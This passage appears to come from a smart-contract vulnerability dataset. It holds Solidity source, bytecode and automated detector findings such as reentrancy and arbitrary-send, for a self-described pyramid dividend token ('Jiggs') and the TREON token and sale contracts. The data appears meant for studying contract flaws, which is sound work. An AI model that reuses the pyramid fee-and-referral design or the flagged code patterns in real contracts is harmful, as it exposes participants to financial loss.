19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122079ae6f77de3a9ab2e98858e9270b742a7a3eff5fea725dcde91de6f42b55f17964736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,877 |
0xbc58c2412b9109d9165735f2cb9ae5fbfdee1ed6 | pragma solidity ^0.4.20;
/*
J.I.G.G.S
*/
contract Jiggs {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "The Jigsaw Games";
string public symbol = "Jiggs";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 25;
uint8 constant internal refferalFee_ = 60;
uint8 constant internal exitFee_ = 25;
uint256 constant internal tokenPriceInitial_ = 0.000000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.000000003 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 175e18;
// referral program
mapping(address => uint256) internal referrals;
mapping(address => bool) internal isUser;
address[] public usersAddresses;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/**
* Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
*/
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
/**
* Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
/* Converts all of caller's dividends to tokens. */
function reinvest() onlyStronghands() public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/* Alias of sell() and withdraw(). */
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/* Withdraws all of the callers earnings. */
function withdraw() onlyStronghands() public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/* Liquifies tokens to ethereum. */
function sell(uint256 _amountOfTokens) onlyBagholders() public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
/* Transfer tokens from the caller to a new holder. * No fee! */
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) {
// setup
address _customerAddress = msg.sender;
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
// fire event
Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
/**
* Retrieve the total token supply.
*/
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function referralsOf(address _customerAddress)
public
view
returns(uint256)
{
return referrals[_customerAddress];
}
function totalUsers()
public
view
returns(uint256)
{
return usersAddresses.length;
}
/**
* Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
/**
* Retrieve the dividend balance of any single address.
*/
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/**
* Return the buy price of 1 individual token.
*/
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Function for the frontend to dynamically retrieve the price scaling of buy orders.
*/
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/**
* Function for the frontend to dynamically retrieve the price scaling of sell orders.
*/
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a Kekly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
if (isUser[_customerAddress] == false) {
referrals[_referredBy]++;
}
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (isUser[_customerAddress] == false ) {
isUser[_customerAddress] = true;
usersAddresses.push(_customerAddress);
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
/**
* Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
/**
* Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0x6060604052600436106101315763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461013f57806306fdde031461017057806310d0ffdd146101fa57806318160ddd146102105780632260937314610223578063313ce567146102395780633ccfd60b146102625780634b7503341461027757806356d399e81461028a578063688abbf71461029d5780636b2f4632146102b557806370a08231146102c857806373338081146102e7578063831aba43146103195780638620410b14610338578063949e8acd1461034b57806395d89b411461035e578063a9059cbb14610371578063bff1f9e1146103a7578063e4849b32146103ba578063e9fad8ee146103d0578063f088d547146103e3578063fdb5a03e146103f7575b61013c34600061040a565b50005b341561014a57600080fd5b61015e600160a060020a0360043516610721565b60405190815260200160405180910390f35b341561017b57600080fd5b61018361075c565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101bf5780820151838201526020016101a7565b50505050905090810190601f1680156101ec5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020557600080fd5b61015e6004356107fa565b341561021b57600080fd5b61015e61082d565b341561022e57600080fd5b61015e600435610834565b341561024457600080fd5b61024c610870565b60405160ff909116815260200160405180910390f35b341561026d57600080fd5b610275610875565b005b341561028257600080fd5b61015e610941565b341561029557600080fd5b61015e610998565b34156102a857600080fd5b61015e600435151561099e565b34156102c057600080fd5b61015e6109e1565b34156102d357600080fd5b61015e600160a060020a03600435166109ef565b34156102f257600080fd5b6102fd600435610a0a565b604051600160a060020a03909116815260200160405180910390f35b341561032457600080fd5b61015e600160a060020a0360043516610a32565b341561034357600080fd5b61015e610a4d565b341561035657600080fd5b61015e610a97565b341561036957600080fd5b610183610aaa565b341561037c57600080fd5b610393600160a060020a0360043516602435610b15565b604051901515815260200160405180910390f35b34156103b257600080fd5b61015e610c2a565b34156103c557600080fd5b610275600435610c30565b34156103db57600080fd5b610275610d96565b61015e600160a060020a0360043516610dcd565b341561040257600080fd5b610275610dd9565b600033818080808080806104296104228c6019610e94565b6064610ec6565b965061043961042288603c610e94565b95506104458787610edd565b94506104518b88610edd565b935061045c84610eef565b925068010000000000000000850291506000831180156104865750600a546104848482610f81565b115b151561049157600080fd5b600160a060020a038a16158015906104bb575087600160a060020a03168a600160a060020a031614155b80156104e15750600254600160a060020a038b1660009081526006602052604090205410155b1561056357600160a060020a038a166000908152600760205260409020546105099087610f81565b600160a060020a03808c16600090815260076020908152604080832094909455918b1681526004909152205460ff16151561055e57600160a060020a038a166000908152600360205260409020805460010190555b61057e565b61056d8587610f81565b945068010000000000000000850291505b600160a060020a03881660009081526004602052604090205460ff16151561060b57600160a060020a0388166000908152600460205260409020805460ff1916600190811790915560058054909181016105d8838261102f565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038a161790555b6000600a54111561066f57610622600a5484610f81565b600a81905568010000000000000000860281151561063c57fe5b600b8054929091049091019055600a5468010000000000000000860281151561066157fe5b048302820382039150610675565b600a8390555b600160a060020a0388166000908152600660205260409020546106989084610f81565b600160a060020a03808a16600081815260066020908152604080832095909555600b54600890915290849020805491880287900391820190559350908c16917f022c0d992e4d873a3748436d960d5140c1f9721cf73f7ca5ec679d3d9f4fe2d5908e9087905191825260208201526040908101905180910390a350909998505050505050505050565b600160a060020a0316600090815260086020908152604080832054600690925290912054600b54680100000000000000009102919091030490565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107f25780601f106107c7576101008083540402835291602001916107f2565b820191906000526020600020905b8154815290600101906020018083116107d557829003601f168201915b505050505081565b600080808061080d610422866019610e94565b92506108198584610edd565b915061082482610eef565b95945050505050565b600a545b90565b600080600080600a54851115151561084b57600080fd5b61085485610f90565b9250610864610422846019610e94565b91506108248383610edd565b601281565b6000806000610884600161099e565b1161088e57600080fd5b33915061089b600061099e565b600160a060020a0383166000818152600860209081526040808320805468010000000000000000870201905560079091528082208054929055920192509082156108fc0290839051600060405180830381858888f19350505050151561090057600080fd5b81600160a060020a03167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc8260405190815260200160405180910390a25050565b600080600080600a546000141561095f5763773593ff199350610992565b610970670de0b6b3a7640000610f90565b9250610980610422846019610e94565b915061098c8383610edd565b90508093505b50505090565b60025481565b600033826109b4576109af81610721565b6109d8565b600160a060020a0381166000908152600760205260409020546109d682610721565b015b91505b50919050565b600160a060020a0330163190565b600160a060020a031660009081526006602052604090205490565b6005805482908110610a1857fe5b600091825260209091200154600160a060020a0316905081565b600160a060020a031660009081526003602052604090205490565b600080600080600a5460001415610a6a5763ee6b28009350610992565b610a7b670de0b6b3a7640000610f90565b9250610a8b610422846019610e94565b915061098c8383610f81565b600033610aa3816109ef565b91505b5090565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107f25780601f106107c7576101008083540402835291602001916107f2565b6000806000610b22610a97565b11610b2c57600080fd5b50336000610b3a600161099e565b1115610b4857610b48610875565b600160a060020a038116600090815260066020526040902054610b6b9084610edd565b600160a060020a038083166000908152600660205260408082209390935590861681522054610b9a9084610f81565b600160a060020a03858116600081815260066020908152604080832095909555600b805494871680845260089092528583208054958a0290950390945592548282529084902080549188029091019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b5092915050565b60055490565b6000806000806000806000610c43610a97565b11610c4d57600080fd5b33600160a060020a038116600090815260066020526040902054909650871115610c7657600080fd5b869450610c8285610f90565b9350610c92610422856019610e94565b9250610c9e8484610edd565b9150610cac600a5486610edd565b600a55600160a060020a038616600090815260066020526040902054610cd29086610edd565b600160a060020a038716600090815260066020908152604080832093909355600b546008909152918120805492880268010000000000000000860201928390039055600a54919250901115610d4957610d45600b54600a54680100000000000000008602811515610d3f57fe5b04610f81565b600b555b85600160a060020a03167fc4823739c5787d2ca17e404aa47d5569ae71dfb49cbf21b3f6152ed238a31139868460405191825260208201526040908101905180910390a250505050505050565b33600160a060020a03811660009081526006602052604081205490811115610dc157610dc181610c30565b610dc9610875565b5050565b60006109db348361040a565b600080600080610de9600161099e565b11610df357600080fd5b610dfd600061099e565b33600160a060020a038116600090815260086020908152604080832080546801000000000000000087020190556007909152812080549082905590920194509250610e4990849061040a565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab3615326458848360405191825260208201526040908101905180910390a2505050565b600080831515610ea75760009150610c23565b50828202828482811515610eb757fe5b0414610ebf57fe5b9392505050565b6000808284811515610ed457fe5b04949350505050565b600082821115610ee957fe5b50900390565b600a546000906b033b2e3c9fd0803ce800000090829063b2d05e00610f6e610f6873010d0c9f4328576d51cc73c042cfc000000000008802677ce66c50e28400006002860a02016f04838ed6e6b62a8233c5ba6000000000850201760a70c3c40a64e6c51999090b65f67d924000000000000001610ffa565b85610edd565b811515610f7757fe5b0403949350505050565b600082820183811015610ebf57fe5b600a54600090670de0b6b3a7640000838101918101908390610fe763773593ff1982850463b2d05e0002018702600283670de0b6b3a763ffff1982890a8b9003010463b2d05e0002811515610fe157fe5b04610edd565b811515610ff057fe5b0495945050505050565b80600260018201045b818110156109db57809150600281828581151561101c57fe5b040181151561102757fe5b049050611003565b81548183558181151161105357600083815260209020611053918101908301611058565b505050565b61083191905b80821115610aa6576000815560010161105e5600a165627a7a723058209d469f5d096b3da4b22bb4f3f5881762dfbb4f4887a8e24f4fcd6c46421a5b4a0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 9,878 |
0xd37ee648f2ab200e4a16ebcba98f212512f55007 | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title TREON token
* @dev Token for tokensale.
*/
contract TXOtoken is StandardToken {
string public constant name = "TREON";
string public constant symbol = "TXO";
uint8 public constant decimals = 18;
// Total Supply 1 Billion
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives the wallet all of existing tokens.
*/
function TXOtoken(address wallet) public {
totalSupply_ = INITIAL_SUPPLY;
balances[wallet] = INITIAL_SUPPLY;
emit Transfer(0x0, wallet, INITIAL_SUPPLY);
}
}
/**
* @title TREON token sale
* @dev This contract receives money. Redirects money to the wallet. Verifies the correctness of transactions.
* @dev Does not produce tokens. All tokens are sent manually, after approval.
*/
contract TXOsale is Ownable {
event ReceiveEther(address indexed from, uint256 value);
TXOtoken public token;
bool public goalAchieved = false;
address public constant wallet = 0x8dA7477d56c90CF2C5b78f36F9E39395ADb2Ae63;
// Monday, May 21, 2018 12:00:00 AM
uint public constant saleStart = 1526860800;
